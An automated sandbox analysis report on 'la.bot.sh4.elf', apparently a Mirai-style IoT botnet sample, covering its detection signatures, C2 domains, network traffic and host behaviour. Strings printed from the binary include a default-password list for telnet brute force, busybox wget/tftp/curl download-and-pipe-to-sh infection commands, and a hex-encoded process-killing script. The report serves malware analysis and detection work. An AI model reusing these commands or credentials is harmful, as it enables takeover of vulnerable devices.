Linux Analysis Report
la.bot.sh4.elf

Overview

General Information

Sample name: la.bot.sh4.elf
Analysis ID: 1541995
MD5: 88d290df1eb6232b13dc4df9c3df1ea6
SHA1: aa05257d1173b34d3c796338472c152691a7bb3f
SHA256: 0ab88388bfeebe1e8ba158beec1fa47dcd420b98ad85af5b6ba5672b1c86bccb
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Sends malformed DNS queries
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection

barindex
Source: la.bot.sh4.elf ReversingLabs: Detection: 31%
Source: la.bot.sh4.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.sh4.elf String: l/proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc//dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppdM
Source: la.bot.sh4.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4\

Networking

barindex
Source: global traffic DNS traffic detected: malformed DNS query: www.codingdrunk.in. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: imaverygoodbadboy.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: 75cents.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: 2joints.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: eighteen.pirate. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: fortyfivehundred.dyn. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: 21savage.dyn. [malformed]
Source: global traffic TCP traffic: 192.168.2.23:46854 -> 156.244.13.91:27651
Source: /tmp/la.bot.sh4.elf (PID: 6209) Socket: 127.0.0.1:1234 Jump to behavior
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: unknown TCP traffic detected without corresponding DNS query: 3.185.184.122
Source: unknown TCP traffic detected without corresponding DNS query: 3.185.184.122
Source: unknown TCP traffic detected without corresponding DNS query: 140.23.241.117
Source: unknown TCP traffic detected without corresponding DNS query: 140.23.241.117
Source: unknown TCP traffic detected without corresponding DNS query: 45.33.246.35
Source: unknown TCP traffic detected without corresponding DNS query: 45.33.246.35
Source: unknown TCP traffic detected without corresponding DNS query: 193.12.92.187
Source: unknown TCP traffic detected without corresponding DNS query: 193.12.92.187
Source: unknown TCP traffic detected without corresponding DNS query: 24.83.105.71
Source: unknown TCP traffic detected without corresponding DNS query: 24.83.105.71
Source: unknown TCP traffic detected without corresponding DNS query: 106.118.236.180
Source: unknown TCP traffic detected without corresponding DNS query: 106.118.236.180
Source: unknown TCP traffic detected without corresponding DNS query: 208.133.68.232
Source: unknown TCP traffic detected without corresponding DNS query: 112.186.55.94
Source: unknown TCP traffic detected without corresponding DNS query: 208.133.68.232
Source: unknown TCP traffic detected without corresponding DNS query: 24.33.95.159
Source: unknown TCP traffic detected without corresponding DNS query: 112.186.55.94
Source: unknown TCP traffic detected without corresponding DNS query: 154.190.140.135
Source: unknown TCP traffic detected without corresponding DNS query: 24.33.95.159
Source: unknown TCP traffic detected without corresponding DNS query: 25.197.134.227
Source: unknown TCP traffic detected without corresponding DNS query: 154.190.140.135
Source: unknown TCP traffic detected without corresponding DNS query: 223.46.8.81
Source: unknown TCP traffic detected without corresponding DNS query: 25.197.134.227
Source: unknown TCP traffic detected without corresponding DNS query: 147.141.200.253
Source: unknown TCP traffic detected without corresponding DNS query: 223.46.8.81
Source: unknown TCP traffic detected without corresponding DNS query: 147.141.200.253
Source: unknown TCP traffic detected without corresponding DNS query: 193.216.194.208
Source: unknown TCP traffic detected without corresponding DNS query: 14.165.209.114
Source: unknown TCP traffic detected without corresponding DNS query: 193.216.194.208
Source: unknown TCP traffic detected without corresponding DNS query: 166.33.76.240
Source: unknown TCP traffic detected without corresponding DNS query: 14.165.209.114
Source: unknown TCP traffic detected without corresponding DNS query: 56.140.71.26
Source: unknown TCP traffic detected without corresponding DNS query: 166.33.76.240
Source: unknown TCP traffic detected without corresponding DNS query: 56.225.180.225
Source: unknown TCP traffic detected without corresponding DNS query: 56.140.71.26
Source: unknown TCP traffic detected without corresponding DNS query: 73.55.235.210
Source: unknown TCP traffic detected without corresponding DNS query: 56.225.180.225
Source: unknown TCP traffic detected without corresponding DNS query: 54.194.74.221
Source: unknown TCP traffic detected without corresponding DNS query: 73.55.235.210
Source: unknown TCP traffic detected without corresponding DNS query: 171.237.92.139
Source: unknown TCP traffic detected without corresponding DNS query: 54.194.74.221
Source: unknown TCP traffic detected without corresponding DNS query: 150.96.177.42
Source: unknown TCP traffic detected without corresponding DNS query: 171.237.92.139
Source: unknown TCP traffic detected without corresponding DNS query: 144.237.200.250
Source: unknown TCP traffic detected without corresponding DNS query: 150.96.177.42
Source: unknown TCP traffic detected without corresponding DNS query: 220.60.233.178
Source: unknown TCP traffic detected without corresponding DNS query: 144.237.200.250
Source: unknown TCP traffic detected without corresponding DNS query: 176.168.59.194
Source: unknown TCP traffic detected without corresponding DNS query: 220.60.233.178
Source: unknown TCP traffic detected without corresponding DNS query: 40.127.117.220
Source: global traffic DNS traffic detected: DNS query: www.codingdrunk.in. [malformed]
Source: global traffic DNS traffic detected: DNS query: imaverygoodbadboy.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: 75cents.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: 2joints.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: eighteen.pirate. [malformed]
Source: global traffic DNS traffic detected: DNS query: fortyfivehundred.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: 21savage.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: 75cents.libre
Source: la.bot.sh4.elf String found in binary or memory: http:///curl.sh
Source: la.bot.sh4.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Source: ELF static info symbol of initial sample .symtab present: no
Source: /tmp/la.bot.sh4.elf (PID: 6211) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal60.troj.evad.linELF@0/0@27/0

Data Obfuscation

barindex
Source: /tmp/la.bot.sh4.elf (PID: 6212) File: /etc/config Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6212) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6212) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6212) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6212) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6212) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6212) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6212) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6212) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6212) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6212) Directory: /etc/.java Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6211) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6211) File opened: /proc/793/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6211) File opened: /proc/772/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6211) File opened: /proc/796/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6211) File opened: /proc/774/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6211) File opened: /proc/797/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6211) File opened: /proc/777/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6211) File opened: /proc/799/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6211) File opened: /proc/658/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6211) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6211) File opened: /proc/759/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6211) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6211) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6211) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6211) File opened: /proc/761/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6211) File opened: /proc/785/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6211) File opened: /proc/884/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6211) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6211) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6211) File opened: /proc/788/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6211) File opened: /proc/789/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6211) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6211) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6211) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6211) File opened: /proc/904/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection

barindex
Source: /tmp/la.bot.sh4.elf (PID: 6212) Log files deleted: /var/log/kern.log Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6209) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.sh4.elf, 6209.1.00007ffc76f4b000.00007ffc76f6c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sh4
Source: la.bot.sh4.elf, 6209.1.0000561c0b8a4000.0000561c0b907000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sh4
Source: la.bot.sh4.elf, 6209.1.00007ffc76f4b000.00007ffc76f6c000.rw-.sdmp Binary or memory string: /nx86_64/usr/bin/qemu-sh4/tmp/la.bot.sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.sh4.elf
Source: la.bot.sh4.elf, 6209.1.0000561c0b8a4000.0000561c0b907000.rw-.sdmp Binary or memory string: V5!/etc/qemu-binfmt/sh4
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs